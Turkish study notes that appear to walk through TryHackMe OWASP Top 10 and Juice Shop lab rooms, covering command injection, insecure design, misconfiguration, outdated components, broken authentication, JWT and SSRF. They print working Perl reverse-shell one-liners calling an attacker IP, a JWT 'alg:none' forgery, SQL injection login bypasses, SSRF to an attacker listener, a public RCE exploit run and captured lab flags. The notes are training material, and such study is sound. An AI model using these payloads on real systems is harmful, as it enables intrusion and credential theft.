- https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#summary
- bu linke gidelim ve ardında da
- iki araç deneyeceğiz: Perl,Python
- ilk olarak hangi aracın kurulu oldupunu tespit etmeye çalışalım
- bize verilen bağlantı linkini de açalım bu arada: http://10.10.140.124:82/
- burada ters bağlantı almaya bakacağız
- burayı komut enjecsiyonu olan bir alan olarak görebilirsiniz
- öncelikle $(python -v) yazalım ama bize bir sonuç döndürmedi bu da ya bu kullanıcının bu araca erişimi yok yada kurulu değil bu doğrultuda python ile ilgili kısımları eleyebiliriz
- Perl aracı var mı buna bakalım: $(perl -v) evet bu araç mevcut muş
- yani bu da demek oluyor ki kaynak linkimiz de perl aracı için ters bağlantı komutunun çalışabileceğidir
- bunu için: $(perl -e 'use Socket;$i="10.0.0.1";$p=4242;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};')
- hadi bunu deneyelim ama önce şu kısımı: Socket;$i="10.0.0.1"; kendi bağlantı yaptığımız makine ip si ile değiştirelim: Socket;$i="10.9.0.48";
- ve nc -lvp 4242 diyerek bu portu dinlemeye alalım sonra
- $(perl -e 'use Socket;$i="10.9.0.48";$p=4242;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};')
- bu komutu textboz a yapıştıralım ve netcat aracında takip edelim
- ve ters bağlantı kurulmuş oldu
- diğer komutlara da bakalım belki bu çalışmayacaktı
- $(perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.9.0.48:4242");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;')
- yine burada da ip kısmını değiştiriyoruz port sabit kalabilir
- önce netcat aracı kapatalım ve tekrar dinleme moduna alalım daha sonra bu komutu yazıp neler olduğuna bakalım
- bu da oldu termninalde ls -lah yazın ve görün :d
- var olan aracı kontrol ettikten sonra diğer komutlar denenebilir
- bölüm 2
- şimdi sorular üzerinden gidelim:
- Web sitesinin root dizininde hangi garip metin dosyası var?
- bunu için önce revers shell ile ter bağlantı yapalım
- önce nc -lvp 4242 portunu dinleyelim
- daha sonra: $(perl -e 'use Socket;$i="10.9.2.7";$p=4242;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};')
- terminale bağlantı geldi
- şimdi root dizine bir bakalım
/htdocs $ ls -lh
total 16K
drwxr-xr-x 2 root root 4.0K Sep 9 2022 css
-rw-r--r-- 1 root root 78 Feb 3 2023 drpepper.txt
-rw-r--r-- 1 root root 2.3K Sep 9 2022 index.php
drwxr-xr-x 2 root root 4.0K Sep 9 2022 js
- burda ki dosyalara bakalım cat aracılıpı ile
- sanırım bu dosya: drpepper.txt
- soru: Kaç tane root olmayan/hizmet dışı/arka plan programı olmayan kullanıcı var?
- kulanıcı bilgilerini almak için: cat /etc/passwd
- bu kısımda başka herhangi bir kullanıcı yok
- cevap: 0
- soru: Bu uygulama hangi kullanıcı olarak çalışıyor?
- whoami ile bunu belirleyebiliriz
- kullanıcı: apache
- soru: Kullanıcının kabuk seti nasıldır?
- bunu da 2 önceki soruda passwd dosyasında apache yi bulup en son : işaretinden sonraki kısımda bulabiliriz
- bunu için: cat /etc/passwd|grep apache
- cevap: /sbin/nologin
- soru: Alpine Linux'un hangi sürümü çalışıyor?
- bunu da etc nin altındaki dosyadan okuyalım:
- cat /etc/alpine-release
- 3.16.0
- ' Insecure Design
- Insecure Design ve İlgili Vulnerabiliteler
- Tanım:
- Insecure design, uygulamanın mimarisinde doğuştan gelen güvenlik açıklarını ifade eder.
- Bu açıklar, kötü uygulama veya yapılandırmalardan değil, uygulamanın temel tasarımındaki hatalardan kaynaklanır.
- Nedenleri:
- Genellikle, bu açıklar uygulama planlama aşamasında yetersiz tehdit modellemesi nedeniyle ortaya çıkar.
- Geliştiriciler, test süreçlerini hızlandırmak için kodda "kestirme yollar" kullanarak açıklar ekleyebilirler.
- Güvensiz Şifre Sıfırlama Örneği
- Uygulama:
- Instagram, kullanıcıların unuttukları şifrelerini 6 haneli bir kodla SMS yoluyla sıfırlamalarına olanak tanır.
- Vulnerabilite:
- Saldırgan, bu kodu brute-force yöntemiyle tahmin edebilir.
- Instagram, aynı IP adresinden gelen denemelere karşı 250 deneme sonrası kullanıcıyı engellemiştir.
- Sınırlama:
- Bu sınırlama yalnızca aynı IP için geçerlidir.
- Farklı IP adresleri kullanarak saldırgan, her birinden 250 deneme yaparak kodu çözme şansını artırabilir.
- Sonuç:
- Bulut hizmetleri sayesinde uygun maliyetle birçok IP edinmek mümkündür.
- Çözüm ve Öneriler
- Zorluklar:
- Insecure design açıkları genellikle geliştirme sürecinin erken aşamalarında tanıtıldığı için, bu açıkları kapatmak çoğu zaman uygulamanın o kısmını baştan inşa etmeyi gerektirir.
- Bu, diğer basit kodla ilgili açıkları düzeltmekten daha zordur.
- Öneri:
- Bu tür açıkları önlemenin en iyi yolu, geliştirme sürecinin başında tehdit modellemesi yapmaktır.
- soru:
Joseph'in şifresini sıfırlamayı dene. Sitenin gerçekten Joseph olup olmadığınızı doğrulamak için kullandığı yöntemi unutmayın.
Joseph'un hesabındaki bayrağın değeri nedir?
- çözüm:
- öncelikle bize verilen linke gideim ve Joseph in şifresini sıfırlamayı denyelim
- burada bir güvenlik sorusu var. En basit olanını denemeliyiz. Nerden bilelim dıdısının dısının adın :D
- renkler uygun görünüyor.
- manuel olarak deneyelim bakalım ne çıkacak
- göründüğü üzere büyük küçük harf duyarlılığı var: joseph : green
- bir geçici şifre aldık: yhpQgdq7VvfWB1
- bu bilgiler ile giriş yapın ve sekmelerdeki dosyalara br göz atın
- THM{Not_3ven_c4tz_c0uld_sav3_U!}
- ' Security Misconfiguration : Güvenlik Yanlış Yapılandırması
- bu konuda özellikle dikkat edilmesi gereken şey hazır yazılım kullanılmış web sitelerinde varsayılan değerlerin olduğu şekilde bırakılıp bırakılmadığının kontrol edilmesi
- yani:
- default yönetim panenil olabilir
- default kullanıcı adı/parolo olabilir özellikle bunlarla sık karşılaşılıyor hazır yazılım kullanılmış web sitelerinde
- uygulama kısmına geçelim attack box makinesini çalıştırın ve verile URL üzerinde ilgili sayfaya gidin
- http://10.10.91.94:86
- bu kısımda /console dizinine geçin (bunu urlde yapın)
- karşınıza bir console ekranı gelecek bu konsole python dili destekli o yüzdenn python dilini kullanacağız
- Sunucuda ls -l komutunu yürütmek için Python kodunu çalıştıralım: import os; print(os.popen("ls -l").read())
- bu komut :
- import os: Python'un os modülünü içe aktarır. Bu modül, işletim sistemi ile etkileşim kurmak için kullanılır.
- os.popen("ls -l").read(): popen komutu, belirtilen komutu (bu durumda "ls -l") çalıştırır ve bu komutun çıktısını okumaya izin veren bir dosya benzeri bir nesne döndürür.
- bu komut sonrası şöyle bir çıktı alırız:
total 24
-rw-r--r-- 1 root root 249 Sep 15 2022 Dockerfile
-rw-r--r-- 1 root root 1411 Feb 3 2023 app.py
-rw-r--r-- 1 root root 137 Sep 15 2022 requirements.txt
drwxr-xr-x 2 root root 4096 Sep 15 2022 templates
-rw-r--r-- 1 root root 8192 Sep 15 2022 todo.db
- bize .db uzantılı dosyayı soruyor: todo.db
- Uygulamanın kaynak kodunu içeren app.py dosyasının içeriğini okumak için kodu değiştirin. Kaynak kodundaki secret_flag değişkeninin değeri nedir?
- bunun için kodumuzu şöyle değiştirmeliyiz: import os; print(os.popen("cat app.py").read())
- burada secret_flag anahtar kelimesini arayalım: secret_flag = "THM{Just_a_tiny_misconfiguration}"
- cevap: THM{Just_a_tiny_misconfiguration}
- ' Vulnerable and Outdated Components: Bilinen Güvenlik Açıkları Teorik Bilgi
- hedef web sitesinde kullanılan yazılımın güncelliği kontrol edilerek daha önceden tespit edilmiş güvenlik açığı varmı diye bakılır
- bunun için https://www.exploit-db.com/ her zaman göz atılması gereken bir web sitesi
- burada daha önce tespit edilmiş açıkların bir database i mevcuttur.
- ' Vulnerable and Outdated Components - Exploit
- burada web sitesinin nostromo 1.9.6 uygulama sürümü bulduğumuzu var sayalım
- exploir-db de bunu arayalım ve karşımıza direkt çıktı
- şimdi her exploitin kullanımı kendine özgüdür ve bununla ilgili detaylı kullanım bilgisi verilir
- tıkalayın nostromo 1.9.6 - Remote Code Execution bu exploit e
- biraz aşağıda şunu göreceksinizi kullanım için
- help_menu = '\r\nUsage: cve2019-16278.py <Target_IP> <Target_Port> <Command>'
- bu kullanım oluyor. yani: exploit in adı yazılıyor daha ve hedef ip ve port bilgileri ile beraber hedef sistemde çalıştırılması istenen komut bilgisi giriliyor
- şimdi soruya gelelim:
- /opt/flag.txt dosyasının içeriği nedir?
- şimdi hedef web sitemize giderek incelemeye başlayalım
- ilk başta CSE Bookstore diye bir bilgiyle karşılaştık
- bunu hazır yazılım olup olmadığını araştırmamız gerek
- yani eğere hazır bir yazılımsa daha önceden keşfedilmiş bir zafiyeti olabilir bu arama için de exploit db veya google yi kullanacağız
- yine incelemeye devam edelim aşağıda 2017 tarihini görüyoruz ki bu eski bir sürüm olduğuna işaret edebilir
- bu kısımda google e yi kullanarak bununla ilgili biliglere bakalım
- bu kısımda google den arama yaparaken birden fazla link i araştırarak bu sayede örnek kullanım ve daha fazla bilgi edinme şansımız artar
- baktığımızda iki farklı exploit de exploit.db de olduğunu görüyoruz
- burada geliştiriciler bir takım bilgileri de görüyoruz
- daha önce web sitesindeki açıktan faydalanmak içni cse bookstore gördük ve aşağıda 2017 sürümü ve sol taraftada projectworlds bilgiside yer alıyor
- exploit ler de bu bilgiyide görüyoruz mesela: Online Book Store 1.0 - Unauthenticated Remote Code Execution(Kimliği Doğrulanmamış Uzaktan Kod Yürütme)
daki Vendor Homepage: https://projectworlds.in/free-projects/php-projects/online-book-store-project-in-php/
- yani burada kıyaslamayı yapmamız gerekiyor
- yine: CSE Bookstore 1.0 - Authentication Bypass(Kimlik Doğrulama Baypası)
daki Vendor Homepage: https://projectworlds.in/
- yani aynı şeyi işaret ediyorlar
- şimdi: Online Book Store 1.0 - Unauthenticated Remote Code Execution exploit ini indirelim ve doğrudan çalıştırdığımızda bununla ilgili bilgi bizlere gelecektir
- Download dizininde : 47887.py bu dosyayı görebiliriz
- .py uzantılı olduğunu görüyoruz
- python 47887.py -h diyerek çalıştıralım
- usage: 47887.py [-h] url kullanımı bu şekilde
- bu dosyanın çalışması için bir url e ihtiyacı varmış
- şimdi url i ekleyelim: python 47887.py http://10.10.113.223:84/
- ve Y tuşuna basarak enter diyip devam edelim
- ve şuan da hedefin komut satırına erişmiş olduk
- şimdi bizden istenen: /opt/flag.txt bu dizindeki dosya içeriğini okumamız isteniyor
- bunun için: cat /opt/flag.txt => THM{But_1ts_n0t_my_f4ult!}
- ' Identification and Authentication Failures : Tanımlama ve Kimlik Doğrulama Hataları
- bu kısımda bozuk kimlik doğrulama kısmına değineceğiz
- en sık karşılaşılan durumlar:
- BruteForce : Kaba kuvvet salıdırıları:
- bu saldırıdaki en önemli etken, zayıf kimlik doğrulama bilgilerinini kulanılması
- Use of weak credentials : Zayıf kimlik bilgilerinin kullanılması
- web sunucusunun kullanıcıyı değerlendirirken yeterli kontrolünün sağlamaması
- Weak Session Cookies : Zayıf Oturum Çerezleri
- oturun çerezleri ön görülebilir değerler içeriyorsa saldırgan kendi oturun çerezlerini ayarlayabilir ve diğer kullanıcı hesaplarına erişebilir
- ' Identification and Authentication Failures Practical
- bu kısımda bir önceki kısımda anlattığımız gibi bir uygulama yapcağız
- hedef web sayfamızda bir mantık hatası var web:http://10.10.113.223:8088/
- darren diye bir kullanıcı var ve daren adında yeni bir kullanıcı oluşturulamıyor doğal olarak
- ama eğer başında bir boşluk koyarak bunu yaparasak yeni bir kullanıcı oluşturmuş gibi olurken aslında var olan bir kullanıcının bilgisine erişmiş oluyoruz
- bizden istenen bu bilgiyi kullanarak önce darren sonrada arthur daki bayrak bilgilerini elde etmek
- darren adında kayıt olmaya çalış ama : Bu kullanıcı zaten kayıtlı diye bir hata aldık şim başına boşluk koyarak deneyelim
- ve : Kullanıcı başarıyla kaydoldu!
- şimdi oluşturulan hesaba giirş yapalım: fe86079416a21a3c99937fea8874b667
- şimdi de arthur için aynını yapalım
- d9ac0f7db4fda460ac3edeb75d75e16e
- ' Software and Data Integrity Failures
- integrity : Bütünlük
- bir veri parçasının değiştirilmediğinden emin olmak demektir.
- örneğin: bir uygulama için installer indirdiğimizi varsayalım.
- indirirken taşıma sırasında değiştirilmediğinden veya bir iletim hatası nedeniyle hasar görmediğini nasıl anlarsınız?
- bunun için windows ve linux da yerleşik araçlar bulunmaktadır.
- bunlar dosyanın belirtilen hash değerini verir
- mesela normalde indirdiğimiz dosyanın hash değeri 12312312312124234 bu ama bir şekilde 432423523423423 buna dönüşmüş ?
- o halde bir sıkıntı olma ihtimalini göz önünde bulundurmalısınız
- linux ta sha256sum dosya_yolu belirterek veya aktip dizinde sha256sum * belirtererek te tek veya tüm dosyaların hash değerlerine bakabilirsiniz
- windows ta ise : certutil -hashfile dosya_yolu hash_değeri => certutil -hashfile example.exe md5
- belirterek hash değerini alabilir ve kontrol edebilirsiniz
- ' Data Integrity Failures
- oturum belirteçleri ve çerezler
- web uygulamaları, oturum açan kullanıcılara bir oturum belirteci atar
- bu belirteçler, genellikle çerezler aracılığı ile tarayıcıda depolanır ve her istekte web uygulamasına gönderilir
- çerezler, anahtar/değer çiftlerini içerir ve tarayıcıda saklandığı için kullanıcı tarafından değiştirilebilir
- veri bütünlüğü sorunları
- saldırgan, çerez değerlerini değiştirerek başka bir kullanıcının kimliğine bürünebilir
- bu durum veri bütünlüğü hatası yaratır
- eğer gerekli önlemler alınmıyorsa web uygulamasının bu değiştirilmiş verilere güvenmesi veri bütünlüğünü riske atar
- veri bütünlüğünü sağlama
- çerezlerin değiştirilmediğini garanti etmek için bütünlük mekanizmaları yani gerekli önlemlerin alınması gerekmektedir
- JWT(JSON Web Tokens) gibi araçlar verilerin bütünlüğünü sağlamak için kullanılabilir
- JWT nin yapısı
- üç bölmeden oluşur: header.payload,signature
- header: JWT nin türünü ve kullanılan imzalama algoritmasını belirtir
- payload: kullanıcının oturum bilgilerini içerir
- signature: verilerin bütünlüğünü sağlamak için sunucunun gizli anahtarı ile oluşturulur
- Base64 kodlama
- JWT nin herbir bölümü bu kodlama ile kodlanır. Ayraç olarak (.)nokta kullanılır
- JWT ve None algoritması güvenlik açığı
- bazı eski JWT kütüphanelerinde imza doğrulaması atlatılabiliyordu
- saldırganlar, JWT nin header ında imza algoritmasını 'none' olarak belirterek ve imza kısmını kaldırarak bu doğrulamayı atlayabiliyorlardı
- bu açık sayesinde saldırganlar JWT niniçeriğini örn: kullanıcı adını değiştirebiliyordu.
- şimdi bize verilen linke gidelim ve neler var bakalım: http://10.10.162.236:8089/
- soru: Uygulamaya misafir olarak giriş yapmayı deneyin. Misafirin hesap şifresi nedir?
- bunu için direkt olarak login e basın ve size guest:guest olarak misfir girişi yaptıracak bilgiyi göreceksiniz cevap: guest
- bu giriş yapıldığında bir çerez olarak JWT elde ettik bunun için inspect veya crtl+f12 kombinasyonu ile bu kısıma ulaşabiliriz
- burada cookie değerinde value kısmına odaklanalım
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiZXhwIjoxNzI4NTMwMDkyfQ.OCykERyi290kLyOleAMHluh76XRFZDrtWbCR4kfVdfA
- bu bizim JWT değerimiz bunu ayıralım:
header: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
payload: eyJ1c2VybmFtZSI6Imd1ZXN0IiwiZXhwIjoxNzI4NTI5NTI2fQ
signature: DCtGPGGfDiWwFqT5faEbZ_EKxjJncf30ghfQSrPV9ew
- şimdi burada değişiklik yapılacak iki kısım var header ve payload
- siganatur sunucu tarafında olşuturuluyor bu kısımı almayazağız
- soru: JWT belirteci içeren web sitesinin çerezinin adı nedir? : jwt-session
- soru: Yönetici kullanıcıya sunulan bayrak nedir?
- bunun için birkaç değişiklik yapmamız gerek (storage)
- önce bu bilgileri appdevtools.com da base64 de decode edelim
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
eyJ1c2VybmFtZSI6Imd1ZXN0IiwiZXhwIjoxNzI4NTI4NjQ5fQ
- karşımıza: {"typ":"JWT","alg":"HS256"}{"username":"guest","exp":1728528649}
- bu bilgi çıkıyor şimdi bunu şöyle değiştirmemiz gerek
{"typ":"JWT","alg":"none"}{"username":"admin","exp":1728528649}
- sonra ad base64 te encode edelim ama sıra ile: (eşittirleri silelim)
{"typ":"JWT","alg":"none"} => eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.
{"username":"admin","exp":1728528649} => eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzI4NTI4NjQ5fQ.
- en son olarak bu şekilde görünmeli:
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzI4NTI4NjQ5fQ.
- şimdi bu değeri value kısımında yerleştirip sayfayı yenileyelim
- sonuç: THM{Dont_take_cookies_from_strangers}
- burada imza kısmını bş bırakmamızın sebebi ise "alg":"none" yaptığımızdan bu yöntemi zaten devre dışı bıramış olmamızdandır
- ' Server Side Request Forgery (SSRF)
- sunucu tarflı istek sahteciliği(SSRF) nedir?
- bir saldırgan web uygulamasını kullanarak isteğe bağlı hedeflere istek göndermeye zorlayabilmesi durumunda ortaya çıkan bir güvenlik zafiyetidir.
- genellikle web uygulamalarının üçüncü taraf hizmerleri ile etkileşim kurduğu senaryolarda meydana gelir
- SSRF nasıl çalışır?
- örn: bir web uygulaması harici bir API kullanarak müşterilerine SMS bildirimi gönderebilir
- bu işlem için web uygulaması SMS sağlayıcısına bir web isteği gönderir ve bu isteğe gizli bir API KEY ekler
- bu API KEY, SMS sağlayıcısının her isteği doğrulamasını ve mesaj başına ücretlendirme yapmasını sağlar
- SSRF saldırısının tehlikesi:
- saldırgan, web uygulamasının "server" parametresini manipüle ederek, isteği kontrol ettiği bir sunucuya yönlendirebilir
- web uygulaması budurumda, saldırganın web sunucusuna bir istek gönderir ve bu istekle birlikte API KEY i de iletebilir
- saldırgan burumda anahtarı kullanarak, masrafları kurbana ait olmak üzere SMS servisini kötüye kullanabilir
- SSRF saldırı örneği:
- örnek bir istek: https://www.mysite.com/sms?server=srv4.sms.thm&msg=ABC
- burada saldırgan server bağlantısını manipüle ederek: https://www.mysite.com/sms?server=attacker.thm&msg=ABC
- uygulama bu istek sonucunda şu şekilde bir talepte bulunur: https://attacker.thm/api/send?msg=ABC
- saldırgan bu talebi yakalarak API KEY i elde edebilir
- SSRF in diğer kullanım alanları:
- Dahili ağları keşfetmek: dahili IP adreslerini ve bağlantı noktalarını keşfetmek için kullanılabilir
- Güvne ilişkilerini kötüye kullanmak: sunucular arasındaki güven ilişikilerini istismar ederek
- HTTP dışı hizmetlerle etkileşim: bası durumlarda uzaktan kod yürütme (RCE(Remote Code Execution)) gibi daha ciddi saldırılar içinde kullanılabilir.
- sorular:
- öncelikle bize verilen bağlantıya gidelim: http://10.10.56.44:8087/
- Web sitesini keşfedin. Yönetici alanına erişmesine izin verilen tek ana bilgisayar hangisidir?
- bunu için sağ tarafta üç çizgi var burada Admin Area kısmına tıklayalım bakalım
- Admin arayüzü yalnızca localhost'ta mevcuttur!!!
- bunu bir deneyelim: localhost
- "Özgeçmişi İndir" düğmesini kontrol edin. Sunucu parametresi nereye işaret ediyor?
- ana sayfasda bir indirme butonu var burada ki linki kopyalayalım: http://10.10.56.44:8087/download?server=secure-file-storage.com:8087&id=75482342
- işaret edilen sunucu parmetresi: secure-file-storage.com
- SSRF'yi kullanarak uygulamanın, isteği güvenli dosya deposu yerine AttackBox'ınıza göndermesini sağlayın. Ele geçirilen istekte herhangi bir API anahtarı var mı?
- burada openvpn bağlantısı ile kendi sanal bilgisayarımızda yapabiliriz. (Bu konu daha önce detaylı ele alınmıştır)
- öncelikle netcat aracı ile herhangi bir portu dinlemeye alalım: terminale: nc -nlvp 443
- daha sonra tryhacme bağlantımızda bize verilen ip ile dinlemeye aldığımız portu server parametersine yerleştirelim:
http://10.10.56.44:8087/download?server=10.9.2.12:443&id=75482342
- bunu browser da url kısına yazıp terminale bakalım
listening on [any] 443 ...
connect to [10.9.2.12] from (UNKNOWN) [10.10.56.44] 46712
GET /public-docs-k057230990384293/75482342.pdf HTTP/1.1
Host: 10.9.2.12:443
User-Agent: PycURL/7.45.1 libcurl/7.83.1 OpenSSL/1.1.1q zlib/1.2.12 brotli/1.0.9 nghttp2/1.47.0
Accept: */*
X-API-KEY: THM{Hello_Im_just_an_API_key}
- görüldüğü üzere web isteği içerisinde gönderilen API KEY i yakaladık
- THM{Hello_Im_just_an_API_key}
- Ekstra Yola Çıkmak: Sitenin yönetici alanına erişim sağlamak için SSRF'yi kullanmanın bir yolu var. Bulabilir misin?
- daha önce zaten ana bilgisayar adını öğrenmiştik: localhost
- şimdi de bu bağlatı üzerinde gidelim: http://10.10.56.44:8087/download?server=http://localhost:8087/admin%23&id=75482342
- bu durumda %23 bu ifade fragment Identifier ayni parça işatretcisi olarak tanımlarnır ve sorgunun kalankısmı isteğe dahil edilmemesini sağlar
- eğer sunucuda bu gibi eylem varsa sorgu şu şekilde görinecek: http://localhost:8087/
- eğer dosya id si geçersiz olsaydı erişim sağlayamazdık
- deneyelim: ve bir dosyanın indiği göreceksiniz Download dizinine ve içerisinde: The flag is thm{c4n_i_haz_flagz_plz?}
- ' Security Log and Monitoring Failures: Güvenlik Günlüğü ve İzleme Arızaları
- Günlük kayıt önemi:
- web uygulamarında kullanıcıların her eylemi günlüğe kayıt edilmelidir
- olaylar sonrasında saldırganın izlenmesi ve faaliyetlerinin analiz edilmesi açısından kritik öneme sahiptir
- eylemler takip edilerek riskler ve etkiler belirlenebilir ve gerekli önlem ve saldırgan analizi yapılıp izi sürülebilir
- eğer günlük tutulmazsa yaşana biiecek olaylar:
- mevzuat hasarı: kişisel kullanıcı bilgilerine erişim sağlandığında bunun kaydı yoksa uygulama sahipleri yasal yaptırımlara maruz kalabilir
- daha fazla saldırı riski: saldırgan fark edilmezse ek saldırılar başlatabilir ve sistemin zayıflıklarından faydalanabilir
- günlüklerde saklanması gereken biligiler:
- http durum kodları
- zaman damgaları
- kullanıcı adları
- API uç noktaları ve sayfa konumları
- IP adresleri
- Günlüklerin güvenliği:
- olaylar meydana geldikten sonra günlük tutma daha kritik öneme sahiptir
- şüpheli etkinliklerin tespit edilmesi saldırıları önlemek veya etkilerini en aza indirmek için önemlidir
- Yaygın şüpheli etkinlik örnekleri
- yetkisiz girişimlerin tekrarı (örn: yönetici sayfalarına erişim girişimleri)
- anormal IP veya konumlardan gelen istekler
- otomatik araçların kullanımını gösteren belirtiler (örn: kullanıcı aracı başlıkları veya hızla yapılan istekler)
- saldırganların bilinen payloadları kullanarak testler yapması
- Şüpheli faaliyetlerin derecelendirilmesi ve tepki:
- şüpheli etkinlikler etki seviyesine göre sınıflandırılmalıdır
- yüksek etkili eylemler daha hızlı bir yanıt gerektirir ve alarm verilerek "dikkat" çekilmelidir.
- sorular: bize verilen görev dosyalarını indirelim
- indirilen dosyamız bir göz atalım:
cat Downloads/login-logs_1595366583422.txt
200 OK 12.55.22.88 jr22 2019-03-18T09:21:17 /login
200 OK 14.56.23.11 rand99 2019-03-18T10:19:22 /login
200 OK 17.33.10.38 afer11 2019-03-18T11:11:44 /login
200 OK 99.12.44.20 rad4 2019-03-18T11:55:51 /login
200 OK 67.34.22.10 bff1 2019-03-18T13:08:59 /login
200 OK 34.55.11.14 hax0r 2019-03-21T16:08:15 /login
401 Unauthorised 49.99.13.16 admin 2019-03-21T21:08:15 /login
401 Unauthorised 49.99.13.16 administrator 2019-03-21T21:08:20 /login
401 Unauthorised 49.99.13.16 anonymous 2019-03-21T21:08:25 /login
401 Unauthorised 49.99.13.16 root 2019-03-21T21:08:30 /login
- burada http 401 durum kodu var sanırım yetkisiz giriş denemelerinde bulunulmuş yani kaba kuvvet saldırısı gibi görünüyor
- sorularımıza bakalım:
- Saldırgan hangi IP adresini kullanıyor? : 49.99.13.16
- Ne tür bir saldırı yapılıyor? Brute Force
21.Study: ' OWASP Juice Shop
- Giriş:
- en sık karşılaşılan güvenlik açıkları ile alakalı uygulamalar yapacağız. Bunlar:
- Injection : enjeksiyon
- Broken Authentication : Bozuk Kimlik Doğrulama
- Sensitive Data Exposure : Hassa Verilerin Açığa Çıkarılması
- Broken Access Control : Bozuk Erişim Kontrolü
- Cross Site Scripting CSS/XSS : Siteler Arası Komut Dosyası Çalıştırma
- ' Bilgi Toplama:
- burada bize bilgi toplama ile ilgili soru sorulmuş. İkl soru:
- yönetici mail adresi?
- web sitesi incelenerek bu bilgiye rahatlıkla ulaşılır. bize verilen bağlatıya IP adresine gidelim:10.10.186.102
- burada ilk ürüne tıkladığımız zaman Reviews kısmınd: admin@juice-sh.op maili görebiliriz. Bu adım kolaydı :)
- soru: Arama için hangi parametre kullanılıyor?
- bunun için:
- arama kutusuna mesela apple yazalım ve urlde : http://10.10.186.102/#/search?q=apple
- burada arama parametresi: q
- soru: Jim incelemesinde hangi diziden bahsediyor?
- bize verilen bilgide Jim i işaret eden kısmı bulmalıyız
- bu kısım da "green smoothie" de bu arkadaş bir inceleme yapmaış ve anahtar kelimemiz ise "replicator"
- bize bu diziyi soruyor
- google da "replicator show" arattığımızda ise karşımıza "star trek" çıkıyor
- ' SQL Enjeksiyon ByPass Injection : enjeksiyon
- başlıkktan da anlaşılacağı üzere SQL enjection uygulaması yapacağız
- hedef sistemde herhangi bir kullanıcı adı veya mail adres bilgisine sahip değilsek mantıksal sorgulama yapabiliriz (1=1 gibi)
- soru: Yönetici hesabına giriş yapın!
- login bölümüne geçeliz: http://10.10.186.102/#/login
- email:dogukan'OR 1 = 1 -- password : dogukan' OR 1 = 1 -- (bu kullanım ile işi sağlama almış oluruz)
- bu kullanım or ifadesinden sonraki kısım için ilk kullanıcıyı ve her 1=1 in true
ifadesinin doğruluğunu kullanara kendinden sonra gelen ifadelerin sorguya dahil edilmemesini sağlar yani yorum olarak algılanmasını sağlar(--)
veri tabanında dogukan' OR 1=1 ifadesinin birince veya ikinci kısmı mutlaka veri tabanında karşılık bulmalıdır ki sorgu doğru çalışsın
- bu durumda dogukan karşılık bulmayacak ve mantıkasal olarak 1=1 olduğunda admin kullanıcısına erişim sağlamış olacağız
- aldığımız kod: 32a5e0f21372bcc1000a6088b93b458e41f0e02a
- soru: Bender hesabına giriş yapın!
- hadi siteyi biraz daha inceleyerek bu arkadaşın hesabını öğrenelim
- "Banana Juice" de bir şey paylaşmış
- mail adresi:bender@juice-sh.op olarak meydanda
- aynı mantıksal sorgulama yapalım: bender@juice-sh.op' --
- burada daha sonra gelen sorguları yorum satırı haline getirdiğimizde şifre kısımına a yazsakta olur
- tek veya çift tırnak olma kısımını deneme yanılma ile bulabiliriz
- verilen kod: fb364762a3c102b2db932069c0e6b78e738d4066
- ' Brute Force ile Admin Şifre Kırma Broken Authentication : Bozuk Kimlik Doğrulama
- bu kısımda Brute Force ile parola kırma işlemi yapcağız
- bu saldırını başarılı olması, kullanıcalak olan password listesine bağlıdır
- biz burada bize verilen yönergeler dahilinde bir liste kullanacağız
- ama gerçek ortamda bunu yapmak için hedef kişiye özel bir parola listesi oluşturulması gerek
- kullanacağımız parolo listesi sizde yoksa : apt-get install seclist yazarak bunu temin edebilirsiniz
- bu varsa kullanıcak liste: /usr/share/wordlists/seclists/Passwords/Common-Credentials/best1050.txt
- ve burp suite aracı ile yapacağız
- makineyi çalıştırın ve hedef ıp adresini alıp burp suite içindeki browser da girin
- soru: admin hesabının password ü nü soruyor
- zaten mail edresini bulmuştuk: admin@juice-sh.op
- bu adres sabit kalarak sadece pasword saldoroso yapcağız
- login kısmına mail: admin@juice-sh.op | password: password
- girin ve bunu gönderin ve paketi yakalayın
- şimdi bunu intruder a gönderin
- tırnak içindeki parola kısmını seçin bu arada sniper seçili olsun ve payloads kısmına gidin load kımında ilgili adrese giderek bu dosya içeri aktarın ve saldırıyı başlatın
- status code 200 olanları dikkate alacağız
- ve password: admin123 olarak elde edilmiştir
- şimdi giriş yapalım: c2110d06dc6f81c67cd8099ff0ba601241f1ac0e
- soru: Jim in parolasını resetlememizi istiyor
- bunun için:
- daha önce jim ile ilgili star trek doğrulaması yapmıştık google da jim star trek aratıp wiki de aile kısmında samuel i görebiliriz
- bu şifre sıfırlamada kullanacağımız bilgidir
- forgat your password dan email: jim@juice-sh.op
- güvenlik sorusuna: Samuel
- ve yeni şifremiz: asdasd
- bayrak: 094fbc9b48e525150ba97d05b942bbf114987257
- ' Hassas Veri Maruziyeti Sensitive Data Exposure : Hassa Verilerin Açığa Çıkarılması
- bu kısımda "Sensitive Data Exposure" yani "Hassas Veri Maruziyeti" konusunu ele alacağız
- hedef web sitenin herhangi bir yerinde karşımıza çıkabilen beklenmeyen bilgi ifşasıdır
- ilk olarak hedfin about kısmına bie göz atalım
- burada bir bağlantı verilmiş: Check out our boring terms of use if you are interested in such lame stuff
- dosya sunucusundan dosya indirmek için
- yanlız dikkat çeken bir kısım var: imleç ile tıklamadan üzerine gelindiğinde sol alt tarafta: http://10.10.202.253/ftp/legal.md
